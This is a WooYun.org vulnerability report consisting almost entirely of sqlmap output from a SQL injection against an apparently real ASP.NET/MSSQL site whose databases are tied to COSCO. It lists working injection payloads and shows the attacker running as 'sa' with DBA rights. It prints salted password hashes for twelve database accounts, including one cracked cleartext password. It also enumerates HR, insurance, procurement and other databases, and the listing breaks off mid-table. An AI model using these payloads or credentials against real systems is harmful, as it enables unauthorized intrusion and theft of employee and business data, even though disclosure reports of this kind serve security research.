WooYun.org

<code>---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=88 AND 2570=2570&listPage=1
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=88 AND 5024=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (5024=5024) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(107)+CHAR(113)))&listPage=1
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (9680=9680) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(107)+CHAR(113))&listPage=1
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
current user: 'sa'
current user is DBA: True
database management system users [12]:
[*] coslinauser
[*] Grp_USER
[*] hr_user
[*] ind_user
[*] insurer
[*] insuSa
[*] netmess
[*] sa
[*] SDDUSER
[*] shipuser
[*] UL_MSW_TRACKING
[*] webuser
database management system users password hashes:
[*] coslinauser [1]:
password hash: 0x0100834b976ec217278876e5a062ef92169d8f374f20254cfc7d
header: 0x0100
salt: 834b976e
mixedcase: c217278876e5a062ef92169d8f374f20254cfc7d
[*] Grp_USER [1]:
password hash: 0x0100961cca546b6423114ab2d746408962d6e9b33c3a2788135c
header: 0x0100
salt: 961cca54
mixedcase: 6b6423114ab2d746408962d6e9b33c3a2788135c
clear-text password:
[*] hr_user [1]:
password hash: 0x010037ae38c52692dd5da75a6b4a7c23b0dc950ef36ef267fe0a
header: 0x0100
salt: 37ae38c5
mixedcase: 2692dd5da75a6b4a7c23b0dc950ef36ef267fe0a
clear-text password:
[*] ind_user [1]:
password hash: 0x01003bdb370584449a26f860008a368021f0c3c78d65b0b45e1f
header: 0x0100
salt: 3bdb3705
mixedcase: 84449a26f860008a368021f0c3c78d65b0b45e1f
clear-text password:
[*] insurer [1]:
password hash: 0x01000d8d4d98ca3d1a3340637ee8e9478785f0d7252dea04f56f
header: 0x0100
salt: 0d8d4d98
mixedcase: ca3d1a3340637ee8e9478785f0d7252dea04f56f
clear-text password:
[*] insuSa [1]:
password hash: 0x0100385e81669c55afd84e55ee83a79444fb003e3c26b0ad8830
header: 0x0100
salt: 385e8166
mixedcase: 9c55afd84e55ee83a79444fb003e3c26b0ad8830
[*] netmess [1]:
password hash: 0x010059686befd9d9477c0d4437b499469f0498de0097903bc27a
header: 0x0100
salt: 59686bef
mixedcase: d9d9477c0d4437b499469f0498de0097903bc27a
[*] sa [1]:
password hash: 0x01004086ceb63e572a26c678ff021ba02c6f80b84b919a2894cb
header: 0x0100
salt: 4086ceb6
mixedcase: 3e572a26c678ff021ba02c6f80b84b919a2894cb
[*] SDDUSER [1]:
password hash: 0x0100d049ed1fdc57186fd49bbfb4fcf8fe6573a2f916614ece8f
header: 0x0100
salt: d049ed1f
mixedcase: dc57186fd49bbfb4fcf8fe6573a2f916614ece8f
clear-text password: 1234
[*] shipuser [1]:
password hash: 0x0100c640220a7970735e734916ef9a338c76fec8309115989b67
header: 0x0100
salt: c640220a
mixedcase: 7970735e734916ef9a338c76fec8309115989b67
[*] UL_MSW_TRACKING [1]:
password hash: 0x010009dbfed84a66c8224c255ba8dc714af3e544c8e193d0f1da
header: 0x0100
salt: 09dbfed8
mixedcase: 4a66c8224c255ba8dc714af3e544c8e193d0f1da
[*] webuser [1]:
password hash: 0x010032d820bfa1812abf1e2877f9864eb590cd776ec0601ea9f1
header: 0x0100
salt: 32d820bf
mixedcase: a1812abf1e2877f9864eb590cd776ec0601ea9f1
Database: IT_HR
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.HR_Work_Time_2002_2010 | 144713 |
| dbo.HR_Work_Time | 62277 |
| dbo.HR_Abnormal | 35542 |
| dbo.HR_Leave_Trans | 8871 |
| dbo.HR_Work_Time1 | 3709 |
| dbo.HR_History | 2013 |
| dbo.HR_Holiday | 908 |
| dbo.HR_Process_Log | 622 |
| dbo.HR_Leave_Day | 547 |
| dbo.HR_Working_History | 178 |
| dbo.HR_Edu_background | 145 |
| dbo.HR_Emp_Relative | 130 |
| dbo.HR_Finger_Print | 110 |
| dbo.HR_Emp | 91 |
| dbo.HR_Holiday2 | 52 |
| dbo.HR_CODE_Position | 50 |
| dbo.HR_All_Trans_Rpt | 42 |
| dbo.HR_Finger_Print_Old | 37 |
| dbo.HR_EMP_DEVICE | 27 |
| dbo.HR_Attend_Report | 26 |
| dbo.HR_Total_Report | 26 |
| dbo.HR_CODE_Country | 17 |
| dbo.HR_CODE_Nationality | 15 |
| dbo.Rpt_OT_Total | 15 |
| dbo.HR_Leave_Type | 14 |
| dbo.HR_CASE | 11 |
| dbo.HR_CODE_Inland_Position | 8 |
| dbo.Rpt_Job_Category | 8 |
| dbo.HR_CODE_Dept | 7 |
| dbo.HR_CODE_Reason | 7 |
| dbo.Rpt_Age_Count | 7 |
| dbo.HR_CODE_Institute | 6 |
| dbo.HR_CODE_Marital_Status | 6 |
| dbo.HR_CODE_Status | 6 |
| dbo.Rpt_Edu_Level | 6 |
| dbo.Rpt_Dept | 5 |
| dbo.HR_CODE_Comp_Category | 3 |
| dbo.HR_CODE_District | 3 |
| dbo.HR_CODE_Job_Category | 3 |
| dbo.HR_CODE_Relative | 3 |
| dbo.HR_CODE_Race | 2 |
| dbo.HR_CODE_Staff_Category | 2 |
| dbo.HR_CODE_Company | 1 |
| dbo.HR_Leave_Day_Hour | 1 |
| dbo.HR_Work_Time_Test | 1 |
| dbo.Rpt_Count_IT | 1 |
| dbo.Rpt_Emp_Count | 1 |
+--------------------------------------------------+---------+
Database: COSLINA2
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.traceHackLog | 78400 |
| dbo.tb_WebCustomer_Fav | 7497 |
| dbo.tb_old_MarketNews | 5867 |
| dbo.tb_Routing | 3754 |
| dbo.tb_Vessel | 1631 |
| dbo.tb_MarketNews | 1430 |
| dbo.tb_CompanyCustomer | 1321 |
| dbo.tb_WebCustomer | 1267 |
| dbo.tb_Routing_Session | 907 |
| dbo.tb_Port | 229 |
| dbo.tb_PhotoGalleryPhoto | 160 |
| dbo.tb_CompanyNewsPhoto | 155 |
| dbo.tb_ContactPerson | 139 |
| dbo.tb_CY_Port | 81 |
| dbo.tb_CompanyNews | 62 |
| dbo.tb_ServiceLines | 49 |
| dbo.tb_CY_Contact | 40 |
| dbo.tb_ExportTariff_Port | 39 |
| dbo.tb_Ad | 38 |
| dbo.tb_ImportTariff_Port | 37 |
| dbo.tb_GalleryPhoto | 35 |
| dbo.tb_Service | 35 |
| dbo.tb_old_MarketNewsCat | 32 |
| dbo.tb_old_MarketNewsCat2 | 32 |
| dbo.tb_ContactDept | 30 |
| dbo.tb_CYDate | 26 |
| dbo.tb_CY_Line | 24 |
| dbo.tb_Login | 22 |
| dbo.tb_Gallery | 21 |
| dbo.tb_PhotoGallery | 19 |
| dbo.tb_MarketNewsCat | 17 |
| dbo.tb_Gallery_Article | 15 |
| dbo.tb_WebService | 15 |
| dbo.tb_Region | 13 |
| dbo.tb_Export_Tariff | 11 |
| dbo.tb_WebCommodity | 11 |
| dbo.[D99_Tmp(HackTable)] | 10 |
| dbo.[comd_list(HackTable)] | 8 |
| dbo.tb_Import_Tariff | 8 |
| dbo.tb_Job | 6 |
| dbo.tb_ServiceLinesCat | 5 |
| dbo.tb_ContactOffice | 2 |
| dbo.tb_ExportCustomer | 2 |
| dbo.tb_JobOffice | 2 |
+--------------------------------------------------+---------+
Database: PETRO
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.SY_EVENT_LOG | 5455 |
| dbo.SY_LOG | 5407 |
| dbo.TX_MAIN | 2848 |
| dbo.TX_OIL | 2491 |
| dbo.TX_INLAND | 2431 |
| dbo.SY_USER_RIGHT | 431 |
| dbo.TX_ASSESSMENT | 244 |
| dbo.CM_REPORT_COMPANY | 152 |
| dbo.CM_REPORT_SUPPLIER | 40 |
| dbo.DF_FUNCTION | 36 |
| dbo.SY_USER | 29 |
| dbo.CM_COMPANY | 13 |
| dbo.CM_SUPPLIER | 12 |
| dbo.CM_COMMODITY | 8 |
| dbo.CM_COUNTRY | 7 |
| dbo.DF_CATEGORY | 7 |
| dbo.CM_EMAIL | 4 |
| dbo.DF_MENU | 3 |
| dbo.TX_INLAND_COMMODITY999 | 2 |
| dbo.DF_EMAIL | 1 |
+--------------------------------------------------+---------+
Database: COSCOINTL
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.News | 1707 |
| dbo.Stock_Quote | 1113 |
| dbo.Annual_Report | 75 |
| dbo.Financial_Calendar | 71 |
| dbo.Category | 4 |
| dbo.Job_Opp | 3 |
| dbo.Password | 1 |
+--------------------------------------------------+---------+
Database: Test
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.enews | 706 |
| dbo.News_Photo | 677 |
| dbo.news | 665 |
| dbo.userLog | 631 |
| dbo.author | 247 |
| dbo.wuser | 160 |
| dbo.defJob | 80 |
| dbo.contact | 25 |
| dbo.econtact | 25 |
| dbo.ein_news | 22 |
| dbo.defComp | 19 |
| dbo.in_news | 14 |
| dbo.InNews_Photo | 14 |
| dbo.func | 13 |
| dbo.defService | 12 |
| dbo.systemLog | 8 |
| dbo.defStatus | 4 |
| dbo.test | 1 |
+--------------------------------------------------+---------+
Database: insurance_qd
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.XT_SystemLog | 373370 |
| dbo.XT_MessageTask | 342052 |
| dbo.XT_ImgFile | 24574 |
| dbo.XT_UserFlowInstance | 21969 |
| dbo.XT_FolderRef_temp | 7307 |
| dbo.XT_FolderViewAuth | 6356 |
| dbo.Temp_XT_Column | 4852 |
| dbo.XT_Column | 4852 |
| dbo.XT_FileReference | 3920 |
| dbo.XT_moduleFunctionKeyAuth | 2913 |
| dbo.XT_UserRole2 | 2782 |
| dbo.XT_DocumentTemplateAuth | 2479 |
| dbo.XT_PersonAddressList | 2427 |
| dbo.XT_AttachDispense | 2012 |
| dbo.XT_AddressBook_temp | 1914 |
| dbo.XT_DocumentMigrationLog | 1885 |
| dbo.XT_AddressBook | 1861 |
| dbo.XT_FolderMigrationLog | 1608 |
| dbo.XT_UserRole | 1461 |
| dbo.XT_Folder | 1430 |
| dbo.XT_DocumentNumTypeAuth | 1401 |
| dbo.XT_TRACEBACK | 1297 |
| dbo.XT_CompareData | 920 |
| dbo.v_oa_trace_organizations | 911 |
| dbo.XT_Trace | 904 |
| dbo.XT_TableRelation | 768 |
| dbo.XT_ViewColumn | 730 |
| dbo.XT_UserProfile | 638 |
| dbo.xt_functionauth_bak | 632 |
| dbo.XT_UserOrg | 600 |
| dbo.XT_CommonCategory | 597 |
| dbo.XT_FileRead | 579 |
| dbo.XT_User | 578 |
| dbo.test_log | 525 |
| dbo.v_moduleFunctionkey | 507 |
| dbo.XT_TextSearchAuth | 471 |
| dbo.XT_FileAuth | 445 |
| dbo.XT_ActionAuth | 425 |
| dbo.XT_FolderUpdateAuth | 287 |
| dbo.XT_SMS | 287 |
| dbo.XT_moduleFunctionKey | 281 |
| dbo.XT_RemindSet | 249 |
| dbo.XT_Survey | 230 |
| dbo.XT_module | 226 |
| dbo.XT_ACL | 223 |
| dbo.XT_Comment | 195 |
| dbo.v_departmenttree | 188 |
| dbo.XT_Organization | 188 |
| dbo.XT_Group | 170 |
| dbo.Temp_XT_Table | 161 |
| dbo.XT_CodeFactory | 156 |
| dbo.XT_Table | 153 |
| dbo.xt_smscount | 134 |
| dbo.XT_Comment_Temp | 132 |
| dbo.XT_TacheForm | 115 |
| dbo.XT_View | 101 |
| dbo.view_smscount | 91 |
| dbo.XT_TacheAuth | 87 |
| dbo.XT_FormAction | 85 |
| dbo.XT_ViewAction | 81 |
| dbo.v_oa_organizations | 74 |
| dbo.XT_CommonFunction | 69 |
| dbo.XT_FormDocTemplate | 66 |
| dbo.XT_Rank | 64 |
| dbo.XT_ActCode | 61 |
| dbo.XT_FileProperty | 60 |
| dbo.XT_Form | 56 |
| dbo.XT_DocumentNumType | 55 |
| dbo.XT_FormTab | 55 |
| dbo.XT_CommentBar | 43 |
| dbo.XT_ViewActionAuth | 42 |
| dbo.XT_DocumentTemplate | 38 |
| dbo.XT_FunctionFolderAuth | 38 |
| dbo.XT_FormAuth | 37 |
| dbo.XT_Bulletin | 36 |
| dbo.person | 35 |
| dbo.XT_FolderLookAuth | 34 |
| dbo.XT_UserDefaultView | 32 |
| dbo.XT_FormTabAuth | 31 |
| dbo.Sheet1 | 30 |
| dbo.XT_Action | 29 |
| dbo.bx_insuranceInfo | 27 |
| dbo.XT_Document | 25 |
| dbo.XT_Role | 25 |
| dbo.v_xt_organization | 22 |
| dbo.XT_Function | 22 |
| dbo.pbcatedt | 21 |
| dbo.XT_UserAddAuthLog | 21 |
| dbo.pbcatfmt | 20 |
| dbo.XT_ViewDataColumn | 18 |
| dbo.ins_user | 16 |
| dbo.XT_Comment_Receiving | 15 |
| dbo.XT_functionkey | 15 |
| dbo.XT_UserMappedSystem | 15 |
| dbo.bx_marketInfo | 9 |
| dbo.bx_companyNews | 8 |
| dbo.XT_TabCode | 8 |
| dbo.XT_RelativeView | 7 |
| dbo.XT_AgentFile | 6 |
| dbo.XT_HolidayType | 6 |
| dbo.XT_MaintenanceLog | 6 |
| dbo.XT_RelativeSystem | 6 |
| dbo.XT_TacheBarAuth | 6 |
| dbo.bx_companyJournal | 4 |
| dbo.bx_eventClass | 4 |
| dbo.bx_instypeInfo | 4 |
| dbo.XT_DocDefaultFolder | 4 |
| dbo.XT_SystemCode | 4 |
| dbo.ins_admin | 2 |
| dbo.XT_Agent | 2 |
| dbo.XT_CommentItem | 2 |
| dbo.XT_UserProposal | 2 |
| dbo.temp | 1 |
| dbo.XT_DocDefaultAuth | 1 |
| dbo.XT_Dual | 1 |
| dbo.XT_SystemProfile | 1 |
+--------------------------------------------------+---------+
Database: EPROCUREMENT
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.BS_SY_AUTO_LOG | 168917 |
| dbo.BS_SY_LOG | 7438 |
| dbo.BS_SY_EVENT_LOG | 3467 |
| dbo.BS_TENDER_SUPPLIER | 1396 |
| dbo.BS_TENDER_PRICE | 1327 |
| dbo.BS_TENDER_SUPPLIER_PORT | 1168 |
| dbo.CM_PORT | 665 |
| dbo.BS_TENDER_PORT | 597 |
| dbo.BS_TENDER_COMMODITY | 566 |
| dbo.BS_TENDER | 479 |
| dbo.CM_COUNTRY | 185 |
| dbo.BS_CM_COMPANY_MATCH | 53 |
| dbo.BS_CM_VESSEL | 52 |
| dbo.CM_COMMODITY | 45 |
| dbo.BS_SY_USER | 44 |
| dbo.BS_CM_COMPANY | 34 |
| dbo.DF_COMMODITY_GROUP | 26 |
| dbo.DF_SECTION | 21 |
| dbo.CM_VESSEL_TYPE | 12 |
| dbo.DF_STATUS | 11 |
| dbo.BS_CM_RATING | 10 |
| dbo.DF_ZONE | 6 |
| dbo.BS_DF_STATUS | 5 |
| dbo.DF_MODULE | 5 |
| dbo.DF_COMMODITY_TYPE | 3 |
| dbo.DF_ROLE | 3 |
| dbo.TMP_SUPPLIER_PRICE | 3 |
| dbo.BS_CM_REGION | 2 |
| dbo.CM_TERMS | 2 |
| dbo.BS_CM_COMPANY_DISABLE | 1 |
| dbo.BS_DF_EMAIL_CONFIG | 1 |
+--------------------------------------------------+---------+
Database: master
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| sys.dm_os_buffer_descriptors | 248421 |
| sys.messages | 90588 |
| sys.sysmessages | 90588 |
| sys.dm_os_memory_cache_entries | 34670 |
| sys.dm_os_memory_objects | 30446 |
| sys.dm_os_ring_buffers | 16135 |
| sys.syscolumns | 11156 |
| sys.syscacheobjects | 7193 |
| sys.dm_exec_cached_plans | 6934 |
| sys.all_parameters | 6697 |
| sys.system_parameters | 6697 |
| sys.trace_subclass_values | 4722 |
| sys.all_columns | 4254 |
| sys.trace_event_bindings | 3958 |
| sys.system_columns | 3696 |
| sys.dm_exec_query_stats | 3238 |
| sys.syscomments | 2751 |
| dbo.spt_values | 2346 |
| sys.dm_os_virtual_address_dump | 2333 |
| sys.all_objects | 1811 |
| sys.sysobjects | 1811 |
| sys.system_objects | 1741 |
| sys.database_permissions | 1646 |
| sys.syspermissions | 1645 |
| sys.sysprotects | 1642 |
| sys.all_sql_modules | 1591 |
| sys.system_sql_modules | 1589 |
| sys.dm_os_performance_counters | 1370 |
| sys.sysperfinfo | 1370 |
| sys.dm_db_index_usage_stats | 955 |
| sys.system_internals_partition_columns | 693 |
| sys.columns | 558 |
| sys.dm_exec_query_transformation_stats | 376 |
| sys.stats_columns | 303 |
| sys.dm_db_missing_index_details | 288 |
| sys.dm_db_missing_index_groups | 288 |
| sys.dm_db_missing_index_group_stats | 285 |
| sys.all_views | 284 |
| sys.system_views | 284 |
| sys.dm_os_memory_cache_clock_hands | 266 |
| sys.index_columns | 219 |
| sys.sysindexkeys | 219 |
| sys.dm_os_memory_clerks | 216 |
| sys.dm_os_wait_stats | 194 |
| sys.event_notification_event_types | 193 |
| sys.sysindexes | 185 |
| sys.stats | 179 |
| sys.trace_events | 171 |
| sys.dm_os_latch_stats | 136 |
| sys.dm_os_memory_cache_counters | 133 |
| sys.syscharsets | 114 |
| sys.allocation_units | 112 |
| sys.system_internals_allocation_units | 112 |
| sys.dm_db_partition_stats | 101 |
| sys.indexes | 101 |
| sys.partitions | 101 |
| sys.system_internals_partitions | 101 |
| sys.dm_os_threads | 98 |
| sys.system_components_surface_area_configuration | 98 |
| sys.xml_schema_facets | 97 |
| sys.xml_schema_components | 93 |
| sys.dm_os_worker_local_storage | 90 |
| sys.dm_os_workers | 90 |
| sys.dm_os_loaded_modules | 85 |
| sys.xml_schema_types | 77 |
| sys.dm_os_memory_cache_hash_tables | 75 |
| sys.objects | 70 |
| sys.trace_columns | 65 |
| sys.configurations | 64 |
| sys.sysconfigures | 64 |
| sys.syscurconfigs | 64 |
| sys.dm_os_schedulers | 62 |
| sys.master_files | 58 |
| sys.sysaltfiles | 58 |
| INFORMATION_SCHEMA.COLUMNS | 50 |
| sys.fulltext_document_types | 50 |
| sys.sysprocesses | 47 |
| sys.dm_db_session_space_usage | 46 |
| sys.dm_db_task_space_usage | 46 |
| sys.dm_exec_sessions | 46 |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES | 44 |
| sys.dm_exec_query_optimizer_info | 38 |
| sys.dm_os_memory_pools | 34 |
| sys.syslanguages | 33 |
| sys.server_principals | 30 |
| sys.database_mirroring | 29 |
| sys.database_recovery_status | 29 |
| sys.databases | 29 |
| sys.sysdatabases | 29 |
| sys.server_permissions | 28 |
| sys.syslockinfo | 28 |
| sys.dm_exec_connections | 27 |
| sys.dm_tran_locks | 27 |
| sys.systypes | 27 |
| sys.types | 27 |
| sys.dm_os_tasks | 24 |
| sys.dm_tran_database_transactions | 21 |
| sys.securable_classes | 21 |
| sys.syslogins | 21 |
| sys.trace_categories | 21 |
| sys.dm_tran_active_transactions | 20 |
| sys.database_principals | 17 |
| sys.dm_exec_requests | 17 |
| sys.fulltext_languages | 17 |
| sys.sysusers | 17 |
| sys.xml_schema_component_placements | 17 |
| sys.dm_os_stacks | 15 |
| INFORMATION_SCHEMA.SCHEMATA | 14 |
| sys.schemas | 14 |
| sys.service_message_types | 14 |
| sys.xml_schema_attributes | 14 |
| sys.sql_logins | 12 |
| sys.dm_os_waiting_tasks | 11 |
| sys.service_contract_message_usages | 11 |
| sys.syscursorcolumns | 10 |
| sys.crypt_properties | 8 |
| INFORMATION_SCHEMA.TABLES | 6 |
| sys.procedures | 6 |
| sys.service_contracts | 6 |
| sys.tables | 6 |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES | 5 |
| sys.certificates | 5 |
| sys.endpoints | 5 |
| sys.server_role_members | 5 |
| sys.extended_procedures | 4 |
| dbo.MSreplication_options | 3 |
| sys.dm_clr_properties | 3 |
| sys.dm_os_hosts | 3 |
| sys.identity_columns | 3 |
| sys.internal_tables | 3 |
| sys.login_token | 3 |
| sys.service_queue_usages | 3 |
| sys.service_queues | 3 |
| sys.services | 3 |
| sys.syssegments | 3 |
| sys.xml_schema_namespaces | 3 |
| INFORMATION_SCHEMA.ROUTINES | 2 |
| sys.database_files | 2 |
| sys.database_role_members | 2 |
| sys.dm_broker_queue_monitors | 2 |
| sys.dm_fts_memory_pools | 2 |
| sys.key_encryptions | 2 |
| sys.service_contract_usages | 2 |
| sys.sql_modules | 2 |
| sys.sysfiles | 2 |
| sys.sysmembers | 2 |
| sys.tcp_endpoints | 2 |
| dbo.spt_monitor | 1 |
| sys.data_spaces | 1 |
| sys.default_constraints | 1 |
| sys.dm_db_file_space_usage | 1 |
| sys.dm_exec_background_job_queue_stats | 1 |
| sys.dm_os_sys_info | 1 |
| sys.dm_tran_current_transaction | 1 |
| sys.filegroups | 1 |
| sys.linked_logins | 1 |
| sys.routes | 1 |
| sys.servers | 1 |
| sys.symmetric_keys | 1 |
| sys.sysconstraints | 1 |
| sys.syscursorrefs | 1 |
| sys.syscursors | 1 |
| sys.syscursortables | 1 |
| sys.sysfilegroups | 1 |
| sys.sysoledbusers | 1 |
| sys.sysservers | 1 |
| sys.traces | 1 |
| sys.user_token | 1 |
| sys.via_endpoints | 1 |
| sys.xml_schema_collections | 1 |
| sys.xml_schema_model_groups | 1 |
| sys.xml_schema_wildcards | 1 |
+--------------------------------------------------+---------+
Database: INSURANCESZ
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.ins_notesText | 100410 |
| dbo.sys_userlog | 70669 |
| dbo.ins_docText | 67219 |
| dbo.ins_docInstal | 23359 |
| dbo.ins_docVessel | 16635 |
| dbo.ins_docDetail | 13268 |
| dbo.rpt_noteListing | 10931 |
| dbo.ins_notes | 9811 |
| dbo.ins_notesGroup | 9569 |
| dbo.ins_mainVessel | 4593 |
| dbo.ins_mainDetail | 3040 |
| dbo.ins_docAmend | 2626 |
| dbo.sys_vessel | 2371 |
| dbo.sys_noteTemplate | 2132 |
| dbo.ins_teamVessel | 1740 |
| dbo.ins_mainUwriter | 1471 |
| dbo.rpt_noteStatement | 1099 |
| dbo.sys_docTemplate | 962 |
| dbo.sys_client | 808 |
| dbo.ins_docMain | 689 |
| dbo.ins_notice | 364 |
| dbo.ins_team | 355 |
| dbo.rpt_docSchPl | 259 |
| dbo.sys_uwriter | 222 |
| dbo.sys_clubinst | 160 |
| dbo.sys_curr | 134 |
| dbo.rptNote | 133 |
| dbo.rpt_brokerageHNMVessel | 101 |
| dbo.sys_noteItem | 98 |
| dbo.rpt_totalPremNBrokerage | 96 |
| dbo.sys_subClass | 60 |
| dbo.sys_accode | 49 |
| dbo.sys_accodeNewBK | 49 |
| dbo.rpt_brokerageHNM | 37 |
| dbo.rpt_docEndAddClaim | 27 |
| dbo.ins_userAccess | 22 |
| dbo.sys_module | 21 |
| dbo.sys_user | 21 |
| dbo.sys_mainClass | 19 |
| dbo.sys_club | 17 |
| dbo.rpt_brokeragePNI | 10 |
| dbo.rptNoteInstal2 | 10 |
| dbo.rptNote_VesselGeneral | 8 |
| dbo.sys_doctype | 6 |
| dbo.rpt_lossRatio | 4 |
| dbo.rptNote_VesselPNI | 4 |
| dbo.Sys_deductType | 4 |
| dbo.ins_mainDeduct | 3 |
| dbo.ins_file | 2 |
| dbo.ins_claim | 1 |
+--------------------------------------------------+---------+
Database: COSCO43
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.HR_Work_Time | 61812 |
| dbo.HR_Abnormal | 25302 |
| dbo.HR_Work_Time_bk | 8287 |
| dbo.HR_Leave_Trans | 1954 |
| dbo.HR_Holiday | 795 |
| dbo.HR_Leave_Day | 232 |
| dbo.HR_Process_Log | 200 |
| dbo.HR_Finger_Print | 72 |
| dbo.HR_All_Trans_Rpt | 35 |
| dbo.HR_Working_History | 35 |
| dbo.HR_Attend_Report | 19 |
| dbo.HR_Total_Report | 19 |
| dbo.HR_Edu_background | 15 |
| dbo.HR_Leave_Type | 13 |
| dbo.HR_Emp | 12 |
| dbo.HR_CASE | 11 |
| dbo.HR_Emp_spouse | 10 |
| dbo.HR_CODE_Reason | 7 |
| dbo.HR_SYS_AccessSection | 7 |
| dbo.HR_Emp_Children | 6 |
| dbo.HR_User_AccessSection | 6 |
| dbo.HR_SYS_EmpScope | 3 |
| dbo.HR_AccessRight | 2 |
| dbo.HR_Further_Study | 2 |
| dbo.HR_Position_History | 2 |
| dbo.HR_SYS_CompScope | 2 |
| dbo.HR_User | 2 |
| dbo.HR_CODE_Company | 1 |
| dbo.HR_Leave_Day_Hour | 1 |
+--------------------------------------------------+---------+
Database: iDocManager
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.WJ2_Document | 317 |
| dbo.WJ_Document | 307 |
| dbo.WJ2_File | 218 |
| dbo.WJ_File | 170 |
| dbo.WJ2_FolderFile | 166 |
| dbo.WJ_FolderFile | 79 |
| dbo.WJ2_Folder | 28 |
| dbo.WJ_Folder | 28 |
| dbo.XT_Users | 22 |
| dbo.WJ_XH | 18 |
+--------------------------------------------------+---------+
Database: COSCOINDWEB
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.PHOTOS | 500 |
| dbo.MILESTONE | 433 |
| dbo.NEWS | 321 |
| dbo.PHOTOS_EN | 51 |
| dbo.NEWS_EN | 41 |
| dbo.D99_CMD | 10 |
| dbo.syscommand | 10 |
| dbo.CATEGORY | 6 |
| dbo.CATEGORY_EN | 2 |
| dbo.D99_REG | 1 |
| dbo.SYS_USER | 1 |
+--------------------------------------------------+---------+
Database: COSCOINTL_NEW
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.finreportsub | 353 |
| dbo.announce | 351 |
| dbo.photo | 315 |
| dbo.media | 189 |
| **.**.**.**estones | 133 |
| dbo.IRactivity | 85 |
| dbo.awards | 70 |
| dbo.fincalendar | 57 |
| dbo.present | 48 |
| dbo.album | 42 |
| dbo.finreport | 35 |
| dbo.sendMailData | 20 |
| dbo.emailalert | 9 |
| dbo.fincalendarsub | 4 |
| dbo.findata_title | 3 |
| dbo.mediacat | 2 |
| dbo.career | 1 |
+--------------------------------------------------+---------+
Database: msdb
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.backupfile | 61128 |
| dbo.backupfilegroup | 30564 |
| dbo.backupmediafamily | 30564 |
| dbo.backupmediaset | 30564 |
| dbo.backupset | 30564 |
| dbo.sysmaintplan_log | 1879 |
| dbo.sysmaintplan_logdetail | 1879 |
| dbo.sysmail_allitems | 557 |
| dbo.sysmail_mailitems | 557 |
| dbo.sysmail_sentitems | 545 |
| dbo.sysmail_event_log | 430 |
| dbo.sysmail_log | 430 |
| dbo.sysjobhistory | 408 |
| dbo.MSdbms_datatype_mapping | 325 |
| dbo.sysdatatypemappings | 325 |
| dbo.sysjobactivity | 271 |
| dbo.MSdbms_map | 248 |
| dbo.MSdatatype_mappings | 174 |
| dbo.MSdbms_datatype | 141 |
| dbo.syssessions | 55 |
| dbo.syscategories | 21 |
| dbo.sysmail_faileditems | 12 |
| dbo.sysmail_send_retries | 12 |
| dbo.syssubsystems | 11 |
| dbo.sysjobs | 10 |
| dbo.sysjobs_view | 10 |
| dbo.sysjobservers | 10 |
| dbo.sysjobsteps | 8 |
| dbo.MSdbms | 7 |
| dbo.sysmail_configuration | 7 |
| dbo.sysdtspackagefolders90 | 5 |
| dbo.restorefile | 4 |
| dbo.sysdtspackages90 | 4 |
| dbo.sysjobschedules | 4 |
| dbo.sysschedules | 4 |
| dbo.sysschedules_localserver_view | 4 |
| dbo.sysdtscategories | 3 |
| dbo.restorefilegroup | 2 |
| dbo.restorehistory | 2 |
| dbo.sysmail_account | 2 |
| dbo.sysmail_principalprofile | 2 |
| dbo.sysmail_profile | 2 |
| dbo.sysmail_profileaccount | 2 |
| dbo.sysmail_server | 2 |
| dbo.syscachedcredentials | 1 |
| dbo.sysdbmaintplans | 1 |
| dbo.sysmail_servertype | 1 |
| dbo.sysmaintplan_plans | 1 |
| dbo.sysmaintplan_subplans | 1 |
| dbo.sysoriginatingservers_view | 1 |
| dbo.systargetservers_view | 1 |
+--------------------------------------------------+---------+
Database: COSCOHOTEL
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.web_daily_price | 1415 |
| dbo.temp | 244 |
| dbo.WCRTEMP00001 | 116 |
| dbo.VW_DAILY90 | 90 |
| dbo.web_news | 33 |
| dbo.web_guide | 25 |
| dbo.D99_Tmp | 4 |
| dbo.web_roomPrice | 4 |
| dbo.D99_REG | 3 |
| dbo.sys_newsCategory | 2 |
| dbo.sys_reservation | 2 |
| dbo.sys_user | 1 |
+--------------------------------------------------+---------+
Database: COSCOTravel
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.News | 67 |
+--------------------------------------------------+---------+
Database: HR_DC
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.HR_Login_Log | 21854 |
| dbo.HR_Working_History | 6382 |
